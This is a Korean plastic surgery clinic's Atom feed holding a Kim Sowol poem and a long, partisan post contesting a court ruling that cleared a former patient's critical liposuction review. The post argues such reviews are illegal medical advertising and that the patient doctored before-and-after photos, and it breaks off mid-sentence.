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	<title>지방흡입 전후 주의해야 할 내용입니다.</title>
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	<updated>2026-04-20T08:14:23+09:00</updated>
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	<rights>© since 2008 Venus Cosmetic Surgery Clinic. All rights reserved.</rights>	<entry>
		<title>&lt;먼 후일 &gt;김소월</title>
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		<published>2022-08-13T13:06:21+09:00</published>
		<updated>2022-08-13T13:06:21+09:00</updated>
		<author>
			<name>m0tf6ow</name>
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		<summary type="text">먼 후일-김소월 먼 훗날 당신이 찾으시면 그때에 내 말이 &#039;잊었노라&#039; 당신이 속으로 나무라면 &#039;무척 그리다가 잊었노라&#039; 그래도 당신이 나무라면 &#039;믿기지 않아서 잊었노라&#039; 오늘도 어제도 아니 잊고 먼 훗날 그떄에 &#039;잊었노라&#039;</summary>
	<content type="html">&lt;p&gt;&lt;img alt=&quot;김소월 먼후일 먼훗날.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/459/548/488e505115b9cb75f5b88eb748f46d85.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;먼 후일-김소월&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;먼 훗날 당신이 찾으시면&lt;br /&gt; 그때에 내 말이 &#039;잊었노라&#039;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;당신이 속으로 나무라면&lt;br /&gt; &#039;무척 그리다가 잊었노라&#039;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;그래도 당신이 나무라면&lt;br /&gt; &#039;믿기지 않아서 잊었노라&#039;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;오늘도 어제도 아니 잊고&lt;br /&gt; 먼 훗날 그떄에 &#039;잊었노라&#039;&lt;/p&gt; &lt;p&gt; &lt;/p&gt;</content>		<category term="김소월"/><category term="김소월 먼훗날"/><category term="김소월 먼후일"/><category term="자유시"/><category term="시집추천"/><category term="시추천"/>	</entry><entry>
		<title>의료법을 위반한 범죄행위가 공익에 도움이 되는가?</title>
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		<published>2021-01-09T05:45:27+09:00</published>
		<updated>2021-10-14T14:18:38+09:00</updated>
		<author>
			<name>mwjygrf</name>
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		<summary type="text">의료법을 위반한 범죄행위가 공익에 도움이 되는가? 원고는 피고와의 민사소송(2019나14194호)에서 피고가 의료법을 위반한 범죄를 저질렀으니 피고의 허위 게시글이 공익을 위한 글로 면책사유가 될 수 없음을 지적했습니다. 그러나 이번 판결로 인해 환자는 치료가 종료된 후에 합병증이 있다고 항의하면서, 병원의 진찰은 거부하고, 수술사진을 조작하여 인터넷에 게제하고, 병원 실명을 제시하면서 비방광고를 하더라도 민형사...</summary>
	<content type="html">&lt;h3&gt;의료법을 위반한&amp;nbsp;범죄행위가 공익에 도움이 되는가?&lt;/h3&gt; &lt;p&gt;원고는 피고와의 민사소송(2019나14194호)에서 피고가 의료법을 위반한 범죄를 저질렀으니 피고의 허위 게시글이 공익을 위한 글로 면책사유가 될 수 없음을 지적했습니다. 그러나 이번 판결로 인해 환자는 치료가 종료된 후에 합병증이 있다고 항의하면서, 병원의 진찰은 거부하고, 수술사진을 조작하여 인터넷에 게제하고, 병원 실명을 제시하면서 비방광고를 하더라도 민형사상 처벌을 받지 않게 되었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 &lt;strong&gt;원심은 의료법을 위반하여 무면허수술로 합병증이 발생하였는데 판사가 &amp;quot;일반인이 잘 모르고 수술했으므로 면책을 한다&amp;quot;라고 판결하는 경우&lt;/strong&gt;라고 생각합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519736&quot;&gt;판사는 &amp;quot;러브핸들&amp;quot;을 &amp;quot;허리&amp;quot;라고 부르며 &amp;quot;허리&amp;quot;를 수술하지 않았다고 판결했습니다.&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519944&quot;&gt;우리나라 판사가 정한 러브핸들의 정의와 위치에 대하여&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519912&quot;&gt;옆구리의 피하지방층 두께에 대한 논문 정리&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3&gt;1. 의료기관의 광고와&amp;nbsp;경쟁은 공익에 도움이 되지 않습니다.&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의료법 제27조 1항에서 비의료인에 대하여 진료와 시술이나 수술을 하지 못하도록 막고 있습니다. 대법원은 의료인의 의료행위가 고도의 전문적 지식과 경험을 필요로 함과 동시에 사람의 생명, 신체 또는 일반공중위생에 밀접하고 중대한 관계가 있기 때문에 의료법은 의료인이 되는 자격에 대한 엄격한 요건을 규정하면서 의료행위를 의료인에게만 독점허용하고 일반인이 이를 하지 못하게 금지하여 의료인 아닌 사람이 의료행위를 함으로써 생길 수 있는 사람의 생명, 신체나 일반 공중위생상의 위험을 방지하고 있다고 판시한 바 있습니다(대법원 2007도5531).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한, 의료법은&amp;nbsp;비의료인에 대하여 의료광고를 허용하지 않습니다. 헌법재판소는 비의료인에게 의료에 관한 광고를 허용할 경우에는 비의료인에 의하여 의료에 관한 부정확한 광고가 양산되고, 그에 의하여 일반인들이 올바른 의료선택을 하지 못하게 되며, 무면허 의료행위가 조장&amp;middot;확산될 위험이 있으므로 이러한 결과를 방지하여 국민의 생명권과 건강권을 보호하고 국민의 보건에 관한 국가의 보호의무를 이행하기 위하여 필요한 최소한도 내의 제한이라고 할 것이라고 판시한 바 있습니다(헌재 2015헌바325).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의료법은 아래와 같이 공공의 이익을 위해 의료광고 제한하고 위반자를 처벌하고 있습니다&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;[의료법(법률 제14220호, 2016. 5. 29., 일부개정)]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;* 제56조(의료광고의 금지 등) ① 의료법인ㆍ의료기관 또는 의료인이 아닌 자는 의료에 관한 광고를 하지 못한다.&lt;/p&gt; &lt;p&gt;② 의료인등은 다음 각 호의 어느 하나에 해당하는 의료광고를 하지 못한다.&lt;/p&gt; &lt;p&gt;* 제57조(의료광고의 심의) ① 의료인등이 다음 각 호의 어느 하나에 해당하는 매체를 이용하여 의료광고를 하려는 경우 미리 의료광고가 제56조제1항부터 제3항까지의 규정에 위반되는지 여부에 관하여 제2항에 따른 기관 또는 단체의 심의를 받아야 한다.&lt;/p&gt; &lt;p&gt;* 제89조(벌칙) 다음 각 호의 어느 하나에 해당하는 자는 1년 이하의 징역이나 1천만원 이하의 벌금에 처한다. 1. &amp;hellip;제56조 제1항부터 제3항까지 또는 제58조의6 제2항을 위반한 자&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;의료법 시행령 제23조 [의료법 시행령(대통령령 제27917호, 2017. 2. 28., 일부개정)]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;* 제23조(의료광고의 금지 기준) ① 법 제56조제5항에 따라 금지되는 의료광고의 구체적인 기준은 다음 각 호와 같다.&lt;/p&gt; &lt;p&gt;2. 특정 의료기관ㆍ의료인의 기능 또는 진료 방법이 질병 치료에 반드시 효과가 있다고 표현하거나 환자의 치료경험담이나 6개월 이하의 임상경력을 광고하는 것&lt;/p&gt; &lt;p&gt;3. 특정 의료기관ㆍ의료인의 기능 또는 진료 방법이 다른 의료기관이나 의료인의 것과 비교하여 우수하거나 효과가 있다는 내용으로 광고하는 것&lt;/p&gt; &lt;p&gt;4. 다른 의료법인ㆍ의료기관 또는 의료인을 비방할 목적으로 해당 의료기관ㆍ의료인의 기능 또는 진료 방법에 관하여 불리한 사실을 광고하는 것&lt;/p&gt; &lt;p&gt;7. 의료기관ㆍ의료인의 기능 또는 진료 방법에 관하여 객관적으로 인정되지 아니한 내용이나 객관적인 근거가 없는 내용을 광고하는 것&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;* 제24조(의료광고의 심의) ① 법 제57조제1항제4호에서 &amp;quot;대통령령으로 정하는 인터넷 매체&amp;quot;란 다음 각 호의 매체를 말한다.&lt;/p&gt; &lt;p&gt;4. 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제2조제1항제3호에 따른 정보통신서비스 제공자 중 전년도 말 기준 직전 3개월 간 일일 평균 이용자 수가 10만명 이상인 자가 운영하는 인터넷 매체&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 의료법시행령 제24조 1항 4호에 의하여 블랙환자가 비방글을 게시한 &amp;lsquo;다음&amp;rsquo; &amp;lsquo;네이버&amp;rsquo; 등은 의료광고 심의대상입니다. 의료법과 의료법시행령을 합하여 보면, &amp;lsquo;다음&amp;rsquo; &amp;lsquo;네이버&amp;rsquo;등에서 의료 광고의 허용 범위는 의료인에게 그것도 시행령 23조 1항 해당 광고이외만 가능합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의료법 제56조제1항(&amp;rsquo;18.3.27. 개정, &amp;rsquo;18.9.28. 시행)은 의료광고에 대해 의료인등이 신문ㆍ잡지ㆍ음성ㆍ음향ㆍ영상ㆍ인터넷ㆍ인쇄물ㆍ간판, 그 밖의 방법에 의하여 의료행위, 의료기관 및 의료인등에 대한 정보를 소비자에게 나타내거나 알리는 행위라고 규정하고 있습니다. 다만, 비의료인이 자신의 경험을 공유하는 차원에서 이를 게시하는 행위를 의료광고로 보기는 어려울 것이나, 특정 의료기관을 광고하기 위한 목적으로 이를 행하는 경우라면 의료광고에 해당할 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로, 특정 병원의 이름과 위치가&amp;nbsp;명시되어 있는&amp;nbsp;&lt;strong&gt;환자의 치료경험담을 인터넷 상 개방된 공간에 로그인 등 제한 절차 없이 게시하는 것은 의료법상 의료광고의 금지기준에 해당되는 위반사항입니다.(&lt;/strong&gt;의료법 제56조 및 동법 시행령 제23조)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그 밖에 의료광고가 의료법 제56조 제1항에서 의료인에게만 허용되더라도 의료법 제56조제2항에서 의료인들에게 비교 비방하는 내용의 광고를 금지하는 이유는 &lt;u&gt;의료광고가 상행위에 대한 광고만으로 볼 수 없는 특성이 있고 의료소비자들인 국민들의 건강에 직접적인 영향을 미치게 되므로, 의료행위를 대상으로 하는 광고를 규제해야 할 공익상의 필요성이 클 뿐만 아니라 전문적인 의학 지식이 없고 질병의 치료를 앞두고 있고 객관적으로 판단능력이 떨어지는 상태에서 의료인에게 의존하여야할 처지에 놓인 의료서비스 소비자의 의료기관 선택권을 보호하여야할 필요성이 강하게 요구된다&lt;/u&gt;고 판시한 바 있습니다. (2008구합45726)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;국민의 건강과 안녕은 국가의 책임입니다. 공공병원은 OECD국가의&amp;nbsp;평균이 60% 정도되지만 우리나라는 급격한 사회발전이 이루어 지면서 공공병원에 대한 투자가 제대로 되지 않아 공공병원이 약&amp;nbsp;6%로 대부분&amp;nbsp;민간병원으로 의료제도가 유지되고 있는 상황입니다. 우리나라가 의료법으로&amp;nbsp;의료광고를 엄격하게 제한하고, 일반인들의 광고행위나 비방을 금지한 이유는 부적절하고 검증되지 않은 의학정보가 유포되면 국민들의 생명과 신체에 큰 해를 입힐 수가 있고, 특히 대부분&amp;nbsp;민간재원으로 운영되는 우리나라에서는 의료기관간의 경쟁은 의료비용을 상승시키고 의료기관의 폐업을 유발하고 일반인의 병원선택권을 저해하여 결국,&amp;nbsp;공익에 도움이 되지 않기 때문에 의료법으로 비의료인의 광고행위를&amp;nbsp;금지하고&amp;nbsp;의료인의&amp;nbsp;광고활동도&amp;nbsp;제한하는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;현재 우리나라의 모든 의사들과 전문의들은 국가로 부터 자격증을 받아 실력면에서 동등하다고 인정을 받고 있으며, 또한 전국민의료보험 강제가입제도와 전의료기관 강제지정제로 모든 의료기관의 진료비용과 의약품및 의료용품가격은 모두 동일하고, 병원간에는 의료전달체계를 유지하여 상호 협력하여 1차 2차 3차 4차 의료기관에 환자의 쏠림이 없이 모든 국민들이 균등한 의료혜택을 받을수 있도록하고 있는 우리나라의 의료환경에서, 환자의 병원경험담은 전문적인 의학정보가 아니므로 잘못된&amp;nbsp;정보일 가능성이 높고,&amp;nbsp;의료기관의 가격이나 서비스의 개선으로&amp;nbsp;이루어 지지도 않으므로&amp;nbsp;의료기관에 대한 환자의 평가는 사실상&amp;nbsp;필요하지 않습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;안병선 보건소장은 &amp;quot;수술&amp;middot;치료 행위 후 블로그에 올리는 경험담은 맛집을 다녀온 뒤 올리는 후기와 다르다&amp;quot;며 &amp;quot;일반인 입장에선 의료법 위반 여부를 알 수 없기에 글을 올릴 때 주의해야 하고, 애매할 때는 보건당국에 문의하는 게 좋다&amp;quot;고 권합니다(뉴스기사 바로가기 &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; http://www.busan.com/view/busan/view.php?code=20140728000136 )&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;20140728000115_0.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/081/520/37795dcebe4417357ad8fb6090b99b18.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그 이유는 &lt;strong&gt;첫째&lt;/strong&gt;, 우리나라에서는 의사의 실력이 비슷하고 가격이 동일한 상황에서&amp;nbsp;병원이 공공기관의 역할을 합니다만 그 운영주체는 의사만 가능하도록 법제화 되어 있습니다. 개인 사업자이지만 진료비용이 국가의 통제를 받고,&amp;nbsp; 의료보험공단에 강제로 가입해야 하고,&amp;nbsp; 진료요구에 대해 거부할 수 없는 사실상 공공기관입니다. 비의료인이 자격증이 있는 의사의 실력을 평가하여 비교하고 우열을 가르는 것은 의미가 없는 것이며,&amp;nbsp; 굳이 비교와 경쟁을 통하여 부익부 빈익빈으로 의료기관의 파산으로 이어지면, 국민들에게 평등한 의료기관 선택권이&amp;nbsp;제공되지 않아&amp;nbsp;공공의 이익이 되지 않습니다. &lt;strong&gt;둘째&lt;/strong&gt;, 의학의 경우 아직도 미지의 영역이므로 항상 오류가 있으며, 여러가지 수술방법이나 진단방법은 각각의 장단점을 인정하고 있으므로 상황에 따라 누가 어떤 방법이 더 우수하다고도 말할 수 없습니다. 이러한 상황에서 의학적 지식이 부족한 일반인들의 판단은 자칫 일방으로 흐를 수가 있어서 검증되지 않는 정보로 인해 의학지식이 부족한 다른&amp;nbsp;사람들이 병원을 잘못 선택할 수 있습니다. &lt;strong&gt;세째&lt;/strong&gt;, 의사라는 직업은 봉사하는 직업이지 돈을 벌어야 하는 직업이 아닙니다. 의료기관의 지나친 광고와 경쟁을 막는 것은 결과적으로 의료기관의 광고지출과&amp;nbsp;이윤추구를 막아 의사들이 환자의 진료와 연구에만 매진할 수 있도록 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;u&gt;물론 어떤 사람은 의사에게만 다른 사람을 치료할 권한을 주는 것은 특혜이고, 일반인에게 의료정보의 자유로운 게제를 막고, 의사를 비방하는 행위를 막는 것도 의사들에 주는 특혜라고 생각할 수 있겠지만&lt;/u&gt;, 국민들의 건강을 보호하기 위해 실력과 자격이 검증된 의사에게만 권한을 주어, 부분별한 치료과 광고를 막고, 의사들간의 불필요한 경쟁을 막아&amp;nbsp;의료정보가 부족한 의료소비자들의&amp;nbsp;의료기관 선택권을 보장하며,&amp;nbsp;공적의료보험제도를 유지 하기 위해서 반드시 필요한 조치라고 생각합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;국민의 건강보다 개인의 자유가 더 중요하다면 의사가 아닌 일반인도 다른 사람을 치료할 권한을 주고, 병원에 대한 광고를 허용하고, 의료정보를 자유롭게 게제하도록 하고, 의사를 홍보하거나 비방할 권한도 주어야 합니다만 전세계의 어느나라도 이러한 권한을 우선하는 나라는 없습니다. 의료분야에 있어서는&amp;nbsp;비의료인에게 표현의 자유를 제한하고, 의료인에게 정보를&amp;nbsp;독점시키는 것이 공익에 더 도움이 되는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;따라서 의료지식이 부족한 비의료인이 자신의 수술 경험으로 각각의 장단점이 있는 병원이나 의사의 실력을 비교및&amp;nbsp;평가하고 더구나 수술전후사진을 조작하고 거짓된 정보를 이용하여 병원 간에 우위를 판단한&amp;nbsp;수술경험담은&amp;nbsp;의료법에 의해 일반인과 의료인 모두에게 금지한 비방광고와 환자유인행위에 해당되어 위법한 행위였습니다(병원비를 할인하거나 받지 않아도, 거동이 불편하여 병원차량을 제공하여도 환자 유인행위이며, 수술전후사진을 조작하면 당연히 허위과장광고입니다).&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한, 피고의 병원경험담은, 로그인하지 않고 검색으로 직접 노출이 되는 블로그와 지식인 등등에&amp;nbsp;특정 병원은 비방하고&amp;nbsp;특정 병원은 홍보하는 내용으로,&amp;nbsp;의료법을 위반한 불법 의료광고이므로 특정병원에만 이득이 될뿐, 허위의 의료 정보는 의학지식이 부족한 국민들의&amp;nbsp;병원 선택을 방해하므로&amp;nbsp;공익이 될 수 없다고 하였으나 원심은 이를 인용하지 않았으며, 오히려 피고가 진실이라고 믿었던 수술경험담(잘못된 의료정보와 허위의 사실)이&amp;nbsp;다른 환자에게는 도움이 되므로 결국 공익에 이익이 된다고 하면서 피고의 &amp;#39;명예훼손&amp;#39; 게시글에 면죄부를 주었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;우리나라의 판사는 비의료인이 의료법을 위반하여 다른 국민들의 생명권이나 병원 선택권을 방해하는 것보다 비의료인의&amp;nbsp;표현의 자유를 더 중요시 하여 환자의 경험담이 병원 선택에 더 도움이 된다고 잘못 판단하고 있음을 의미합니다. 생명을 다루는 행위는&amp;nbsp;실수를 용납하지 않으므로&amp;nbsp;비의료인에게 의료정보나 의료광고는 의료법으로 규제하는 것이 우선이며 공공의 이익에&amp;nbsp;부합합니다. 따라서 &lt;strong&gt;의료법을 위반한 피고의 게시글은 공공의 이익이 될 수 없으므로 원고에 대한 명예훼손 범죄에서&amp;nbsp;면책&amp;nbsp;될 수 없습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;여담으로, 의사들이&amp;nbsp;지켜야 할 원칙의 하나는 &amp;#39;do no harms&amp;#39; 이며 이는 환자에게 해를 끼쳐서는 안된다는 것이며, 의료영역에서는 확실한 잇점이 없다면 차라리 아무것도 하지 않는 것이 더 낫다는 의미입니다.&amp;nbsp; 국가는 의료법을 통해 국민들의 생명권과 건강관을 보호하기 위해&amp;nbsp;의사가&amp;nbsp;아닌 비의료인의&amp;nbsp;의료행위를 막고, 일반인의 무분별한 의료정보와 의료광고를 막야야 하는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3&gt;2 일반인이 의사를 평가하는 것은 쉬운 일이 아닙니다.&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5&gt;(1) 의사는 완벽하지 않는데 환자는 완벽한 결과를 원합니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의학은 완성되지 않은 학문으로 정보가 부족하여 항상 오진의 가능성이 존재하고 다양한 치료방법이 공존하며, 환자는 의사의 진료나 치료에 100% 만족할 수 없기 때문에 한 사람의 경험으로 의사와 치료방법에 대해 우열을 가리는 행위 자체가 어리석은 일입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;텍사스의과대학 성형외과 의사 브로우튼(Broughton)은 2006년에 지방흡입수술을 받은 209명을 대상으로 수술 후 만족도에 대한 설문조사 결과를 발표했습니다. 논문은 수술후 환자의 만족도가 매우 만족(44%), 만족(36%), 불만족(13%), 매우불만족(7%)이라고 합니다(Broughton G 2nd, Horton B, Lipschitz A, Kenkel JM, Brown SA, Rohrich RJ. Lifestyle outcomes, satisfaction, and attitudes of patients after liposuction: a Dallas experience. Plast Reconstr Surg. 2006 May).&lt;/p&gt; &lt;/div&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;a href=&quot;11001&quot;&gt;지방흡입의 만족도에 대한 연구&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;브로우튼이 저명한 지방흡입술 전문가임에도 불만족이 20%나 있다는 것은 지방흡입 수술은 근육이나 골격을 변화시킬수 없고 지방층만 제거하여 체형을 성형하는 수술방법의 한계 때문입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;바꾸어 말하면 &lt;u&gt;지방흡입 수술을 잘하는 의사라 하더라도 수술환자 5명중 1명 즉, 20%는&amp;nbsp;만족할 수 없다는 것이고&lt;/u&gt; 이런 환자가 안티성형카페 같은 곳에 의사에 대한 악평을 작성할수 있다는 것을 의미합니다. 그러므로 어떤 환자가 특정 병원에 대해 악평을 했다고 해서 그 병원을 블랙병원으로 몰아 기피대상이 되어서는 안되는 것입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;요즘처럼 인터넷이 발달하고 SNS등을 이용하여 소통이 잘 이루어 지는 사회에서는 특정 블랙환자 한명이 인터넷상에 아이디를 바꿔가며 한 병원을 블랙병원으로 만들 수가 있는 세상이 되었으며, 좋은 병원도 환자를 잘 못 만나면 억울한 블랙병원이 될 수 있는 상황입니다. &lt;strong&gt;불만을 가진 20%&amp;nbsp;환자편을 들어 의사를 벌하면 그 의사가 필요한&amp;nbsp; 80%의&amp;nbsp;또 다른 환자들은 그 의사의 치료를 받을 수 없게 됩니다. 만일 원고가 수술했던 환자중 20%이상이 원고가&amp;nbsp;의사를 그만 두는 것이 공익에 도움이 된다고 한다면 탄핵으로 생각하여 그렇게 하겠습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의사는 완벽하지 않는데 환자는 완벽한 결과를 원합니다. 수술은 이전보다 개선되는 것이지 100% 맘에 들 수 없습니다. 이러한 생각을 현실적인 기대라고 하고, 환자는 현실적인 기대를 하며 수술을 받아야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래의 사진은 피고가 네이버 블로그에 게제한 수술전후 사진입니다.&amp;nbsp; 지방흡입 수술은 피하 지방층만 수술하여 체형을 성형하는 수술로서 근육이나 골격을 변화시킬 수는 없습니다. 그런데 피고가 게제한 수술후 사진은 명백하게 수술전 사진에 비해 골반의 크기가 작습니다. 그렇다면 잘모르는 사람은 수술의사의 실력이 좋고, 지방흡입으로 이렇게 사이즈기 줄수 있는 것이라고 판단하여 수술을 선택할 수 있습니다.&amp;nbsp; 이를 허위 과장 광고라고 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;홈피글_음주4_2019-11-07 1029_55_.JPG&quot; width = &quot;100%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/081/520/79a1f2fff71ce62d8a88755febdea514.JPG&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고의 체형상 수술전 옆구리 지방층 두께는 10mm 전후로 판단됩니다.&amp;nbsp; 지방흡입 수술로 지방층 두께는 20~ 50% 정도 감소되므로 피고의 경우 최대 5mm 정도로 줄어 듭니다. 그렇다면 피고의 옆구리는 수술전에 비해 양쪽 포함하여 10mm 정도 주는 셈이 됩니다. 실제 지방흡입으로 지방층이 10mm가 감소하므로 윗 사진처럼 드라마틱한 변화는 나타날 수 없습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;더욱이 좌측은 복부와 러브핸들만 수술한 사진이고 우측것은 복부와&amp;nbsp;러브랜들, 그리고 뒷등도&amp;nbsp;수술을 했던 경우이지만 위 두 사진으로 두 병원을 비교했던 피고는 그러한 사실을 숨기고 러브핸들만 재수술 받은 사진이라고&amp;nbsp;거짓말을 했기 때문에 고의적인 비방을 했다고 생각됩니다&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;아래 사진처럼 똑 같은 크기의 빨간색 박스를 그려서 비교해 보면 지방흡입으로는 크기 변화가 될 수 없는 골반의 크기가 줄어들어 있음을 알 수 있습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;홈피글_음주4_2019-11-07 102955_.jpg&quot; width = &quot;100%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/081/520/9c5424ddc1aa69c909c84541441246f3.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 피고는 수술전후사진을 조작하여 허위사실로 수술을 과장하여 원고가 옆구리(러브핸들)에 수술을 하지 않은 것처럼 비방한 것이고, 다른 사람들에게는 T의원은 지방흡입수술을 잘하는 병원으로 홍보하하면서, 지방흡입으로 이 정도의 사이즈 감소가 된다는 기대를 하도록 허위과장광고를 하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;판사는 위 사진이 조작되지 않았다고 하였는데 이는 분명히 잘못 판결한 것입니다. 그래서 판사는 전문분야는&amp;nbsp;전문가에게 자문을 구해 판결해야 합니다만 원심은 원고의 감정 신청을 기각하고 자의적으로 판단했습니다.&amp;nbsp;&lt;/strong&gt;포토샵을 잘 사용하지 않는 일반인들은 수술전후사진의 조작여부를 판단하기 어렵기 때문에, 정부는 의료기관의 허위 과장광고의 하나인 수술전후사진 조작을 막기 위하여 가이드라인을 제시해야 할 필요가 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5&gt;(2) 의사에 대한 우열성 판단은 전문가들의 영역입니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;통계학적으로 한 병원의 만족도가 다른 병원의 만족도보다 나쁘다고 판정하려면 수술받은 환자에서 무작위로 뽑은 환자들을 대상으로 만족도 조사를 해야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;예를 들어 A 병원의 만족도는 무작위로 뽑은 환자 10명 중 8명이 만족하여 만족도가 80%가 되었다고 가정합니다. 이번에는 무작위로 100명을 뽑은 B 병원에서는 60명이 만족을 하고 40명이 만족을 못하고 있다는 결과가 나왔습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;과연 이 두병원의 의사는 실력차이가 있을까요? 명목상 A 병원의 만족도는 80% 이고 B 병원의 만족도는 60% 이지만 통계학적 으로는 두병원의 만족도 차이는 없습니다(95% 신뢰수준에서 P=0.15) 왜냐하면 샘플의 수가 적은 경우 그 샘플이 모집단의 평균을 대변하기 위해서는 오차가 너무 커서 신뢰구간이 넓기 때문입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그렇다면 한달에 수술받은 환자중에서 100명을 뽑은 B 병원에서 몇 명이 만족을 해야 A 병원보다 더 만족도가 낮다고 말할 수 있을까요? 통계학적으로 약 53명 이하가 만족한다면(53%), B 병원은 A 병원보다 만족도가 낮다고 봐야 합니다(P=0.047).&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이렇게 &lt;strong&gt;두 병원의 만족도 조사로 두병원의 실력을 비교하는 것도 쉬운 일이 아닌데 환자 한명의 경험담으로 병원의 실력을 비교하여 평가한다는 